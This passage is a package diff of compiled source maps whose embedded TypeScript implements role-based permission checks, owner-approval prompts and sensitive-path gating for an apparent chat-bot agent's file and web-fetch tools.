,MAAM,EAAE,IAAI,EAAE,GAAG,sBAAsB,CAAC,WAAW,CAAC,CAAC;IACrD,OAAO,EAAE,OAAO,EAAE,IAAI,EAAE,IAAI,EAAE,CAAC;AACjC,CAAC;AAED,MAAM,UAAU,wBAAwB,CAAC,QAAkD,EAAE,WAAqB;IAChH,MAAM,EAAE,IAAI,EAAE,WAAW,EAAE,GAAG,sBAAsB,CAAC,WAAW,CAAC,CAAC;IAElE,IAAI,CAAC,WAAW,EAAE,CAAC;QACjB,gBAAgB;QAChB,OAAO,EAAE,OAAO,EAAE,IAAI,EAAE,IAAI,EAAE,QAAQ,EAAE,CAAC;IAC3C,CAAC;IAED,IAAI,CAAC;QACH,IAAI,IAAI,KAAK,QAAQ,EAAE,CAAC;YACtB,OAAO,EAAE,OAAO,EAAE,IAAI,EAAE,IAAI,EAAE,CAAC;QACjC,CAAC;QAED,IAAI,IAAI,KAAK,SAAS,EAAE,CAAC;YACvB,OAAO,oBAAoB,CAAC,QAAQ,CAAC,CAAC;QACxC,CAAC;QAED,IAAI,IAAI,KAAK,SAAS,EAAE,CAAC;YACvB,MAAM,SAAS,GAAG,+BAA+B,CAAC,WAAW,CAAC,CAAC;YAC/D,IAAI,aAAa,CAAC,SAAS,EAAE,QAAQ,CAAC,EAAE,CAAC;gBACvC,OAAO,EAAE,OAAO,EAAE,IAAI,EAAE,IAAI,EAAE,CAAC;YACjC,CAAC;YACD,MAAM,CAAC,KAAK,CAAC,MAAM,QAAQ,0CAA0C,CAAC,CAAC;YACvE,OAAO;gBACL,OAAO,EAAE,KAAK;gBACd,kBAAkB,EAAE,IAAI;gBACxB,IAAI;gBACJ,MAAM,EAAE,WAAW,QAAQ,eAAe;aAC3C,CAAC;QACJ,CAAC;QAED,IAAI,IAAI,KAAK,OAAO,EAAE,CAAC;YACrB,MAAM,CAAC,KAAK,CAAC,MAAM,QAAQ,oCAAoC,CAAC,CAAC;YACjE,OAAO;gBACL,OAAO,EAAE,KAAK;gBACd,IAAI;gBACJ,MAAM,EAAE,kBAAkB,QAAQ,IAAI;aACvC,CAAC;QACJ,CAAC;QAED,OAAO,oBAAoB,CAAC,QAAQ,CAAC,CAAC;IACxC,CAAC;IAAC,MAAM,CAAC;QACP,OAAO,oBAAoB,CAAC,QAAQ,CAAC,CAAC;IACxC,CAAC;AACH,CAAC;AAED,MAAM,UAAU,aAAa,CAAC,QAA+B;IAC3D,OAAO,sBAAsB,QAAQ,CAAC,MAAM,IAAI,kBAAkB,EAAE,CAAC;AACvE,CAAC;AAED,MAAM,UAAU,WAAW,CAAC,QAA+B;IACzD,OAAO,UAAU,QAAQ,CAAC,MAAM,IAAI,UAAU,EAAE,CAAC;AACnD,CAAC;AAED,MAAM,UAAU,yBAAyB,CAAC,QAAgB,EAAE,MAAiC;IAC3F,MAAM,SAAS,GAAG,MAAM,CAAC,aAAa,IAAI,EAAE,CAAC;IAC7C,OAAO,aAAa,CAAC,SAAS,EAAE,QAAQ,CAAC,CAAC;AAC5C,CAAC","sourcesContent":["import { hasSenderRole, senderRolesFromMessage, type Message } from '@zhin.js/core';\nimport { getLogger } from '@zhin.js/logger';\n\nconst logger = getLogger('DangerousToolPolicy');\nimport type { ZhinAgentConfig } from '../config/index.js';\nimport { checkFileAccess, extractBashReadPaths } from './file-policy.js';\nimport type { ToolRequesterRole } from './owner-approval-runtime.js';\nexport interface DangerousToolDecision {\n allowed: boolean;\n needsOwnerApproval?: boolean;\n reason?: string;\n role: ToolRequesterRole;\n}\n\nexport type FileToolName = 'read_file' | 'list_dir' | 'glob' | 'grep' | 'write_file' | 'edit_file';\n\ntype FileOperation = 'read' | 'write' | 'delete';\n\nconst FILE_TOOL_OPERATION: Record<FileToolName, FileOperation> = {\n read_file: 'read',\n list_dir: 'read',\n glob: 'read',\n grep: 'read',\n write_file: 'write',\n edit_file: 'write',\n};\n\nfunction isAllowlisted(allowlist: string[], item: string): boolean {\n return allowlist.some((pattern) => {\n try {\n const re = new RegExp(`^${pattern}$`);\n return re.test(item);\n } catch {\n return item === pattern;\n }\n });\n}\n\nfunction resolveExecAllowlistFromMessage(commMessage?: Message): string[] {\n const extra = (commMessage as { extra?: { execAllowlist?: string[] } } | undefined)?.extra;\n if (Array.isArray(extra?.execAllowlist) && extra.execAllowlist.length > 0) {\n return extra.execAllowlist.map((v) => String(v)).filter(Boolean);\n }\n return [];\n}\n\nfunction hasMessageIdentity(commMessage?: Message): boolean {\n return Boolean(commMessage?.clientAdapter && commMessage?.endpointId && commMessage?.sender?.id);\n}\n\nfunction resolveRoleFromMessage(commMessage?: Message): {\n role: ToolRequesterRole;\n hasIdentity: boolean;\n} {\n const hasIdentity = hasMessageIdentity(commMessage);\n if (!hasIdentity) {\n return { role: 'unknown', hasIdentity: false };\n }\n\n return {\n role: resolveRoleFromMessageFallback(commMessage!),\n hasIdentity: true,\n };\n}\n\n/** host root 不可用时,从 Message.sender 快照或重算角色(测试/降级路径) */\nfunction resolveRoleFromMessageFallback(commMessage: Message): ToolRequesterRole {\n const snapshot = senderRolesFromMessage(commMessage);\n if (hasSenderRole(snapshot, 'master')) return 'master';\n if (hasSenderRole(snapshot, 'trusted')) return 'trusted';\n return 'other';\n}\n\nfunction denyUnidentifiedTool(toolName: string): DangerousToolDecision {\n // 内部细节(身份解析失败)只进 debug 日志,用户消息不暴露策略实现\n logger.debug(`Tool denied: unidentified caller → ${toolName}`);\n return {\n allowed: false,\n role: 'unknown',\n reason: `权限不足:当前策略不允许执行「${toolName}」。`,\n };\n}\n\nexport function checkFileToolAccess(toolName: FileToolName, commMessage?: Message): DangerousToolDecision {\n const { role, hasIdentity } = resolveRoleFromMessage(commMessage);\n const op = FILE_TOOL_OPERATION[toolName];\n\n if (role === 'master') {\n return { allowed: true, role };\n }\n\n if (!hasIdentity) {\n // 无 IM 上下文(直接工具调用、subagent)→ 全权\n return { allowed: true, role: 'master' };\n }\n\n if (role === 'unknown') {\n if (op === 'read') {\n return { allowed: true, role };\n }\n return denyUnidentifiedTool(toolName);\n }\n\n if (role === 'trusted') {\n if (op === 'delete') {\n logger.debug(`Tool denied: trusted role cannot delete → ${toolName}`);\n return {\n allowed: false,\n role,\n reason: `权限不足:当前策略不允许执行「${toolName}」。`,\n };\n }\n return { allowed: true, role };\n }\n\n if (op === 'read') {\n return { allowed: true, role };\n }\n\n logger.debug(`Tool denied: read-only access for user → ${toolName}`);\n return {\n allowed: false,\n role,\n reason: `权限不足:当前策略不允许执行「${toolName}」。`,\n };\n}\n\nexport function checkSensitiveFilePathAccess(\n toolName: FileToolName,\n filePath: string,\n commMessage?: Message,\n workspaceDir?: string,\n): DangerousToolDecision {\n const base = checkFileAccess(filePath, workspaceDir);\n const { role } = resolveRoleFromMessage(commMessage);\n if (base.allowed) {\n return { allowed: true, role };\n }\n\n if (role === 'master') {\n return {\n allowed: false,\n needsOwnerApproval: true,\n role,\n reason: `工具「${toolName}」访问敏感路径需二次确认:${base.reason ?? '命中敏感路径策略'}`,\n };\n }\n\n if (role === 'trusted') {\n return {\n allowed: false,\n needsOwnerApproval: true,\n role,\n reason: `工具「${toolName}」访问敏感路径需 Master 确认:${base.reason ?? '命中敏感路径策略'}`,\n };\n }\n\n return {\n allowed: false,\n role,\n reason: base.reason ?? `工具「${toolName}」访问敏感路径被拒绝。`,\n };\n}\n\n/**\n * bash 只读命令中的目标路径敏感访问检查(与 read_file 对齐)。\n */\nexport function checkBashSensitiveReadAccess(\n command: string,\n commMessage?: Message,\n workspaceDir?: string,\n): DangerousToolDecision {\n const paths = extractBashReadPaths(command);\n if (paths.length === 0) {\n const { role } = resolveRoleFromMessage(commMessage);\n return { allowed: true, role };\n }\n for (const filePath of paths) {\n const decision = checkSensitiveFilePathAccess('read_file', filePath, commMessage, workspaceDir);\n if (!decision.allowed) {\n return {\n ...decision,\n reason: decision.reason?.replace('read_file', 'bash') ?? decision.reason,\n };\n }\n }\n const { role } = resolveRoleFromMessage(commMessage);\n return { allowed: true, role };\n}\n\nexport function checkDangerousToolAccess(toolName: 'write_file' | 'edit_file' | 'web_fetch', commMessage?: Message): DangerousToolDecision {\n const { role, hasIdentity } = resolveRoleFromMessage(commMessage);\n\n if (!hasIdentity) {\n // 无 IM 上下文 → 全权\n return { allowed: true, role: 'master' };\n }\n\n try {\n if (role === 'master') {\n return { allowed: true, role };\n }\n\n if (role === 'unknown') {\n return denyUnidentifiedTool(toolName);\n }\n\n if (role === 'trusted') {\n const allowlist = resolveExecAllowlistFromMessage(commMessage);\n if (isAllowlisted(allowlist, toolName)) {\n return { allowed: true, role };\n }\n logger.debug(`工具「${toolName}」不在 execAllowlist,trusted 需 Master 确认后执行`);\n return {\n allowed: false,\n needsOwnerApproval: true,\n role,\n reason: `权限不足:执行「${toolName}」需要 Owner 确认。`,\n };\n }\n\n if (role === 'other') {\n logger.debug(`工具「${toolName}」为危险操作,仅 master 可直接执行,已拒绝 other 角色`);\n return {\n allowed: false,\n role,\n reason: `权限不足:当前策略不允许执行「${toolName}」。`,\n };\n }\n\n return denyUnidentifiedTool(toolName);\n } catch {\n return denyUnidentifiedTool(toolName);\n }\n}\n\nexport function toOwnerSignal(decision: DangerousToolDecision): string {\n return `ZHIN_NEEDS_OWNER:\\n${decision.reason ?? '该操作需要 Master 确认。'}`;\n}\n\nexport function toDenyError(decision: DangerousToolDecision): string {\n return `Error: ${decision.reason ?? '该操作已被拒绝。'}`;\n}\n\nexport function isToolAllowlistedByConfig(toolName: string, config: Required<ZhinAgentConfig>): boolean {\n const allowlist = config.execAllowlist ?? [];\n return isAllowlisted(allowlist, toolName);\n}\n"]}
@@ -111,4 +111,3 @@ export declare function checkUnattendedExecPreset(command: string, preset: 'read
111
111
  * 当 execApprovalMode=ask/auto 且命令需审批时,返回提示信息而非抛错。
112
112
  */
113
113
  export declare function applyExecPolicyToTools(config: Required<ZhinAgentConfig>, tools: AgentTool[], options?: ApplyExecPolicyOptions): AgentTool[];
114
- //# sourceMappingURL=exec-policy.d.ts.map
@@ -1 +1 @@
1
- {"version":3,"file":"exec-policy.js","sourceRoot":"","sources":["../../src/security/exec-policy.ts"],"names":[],"mappings":"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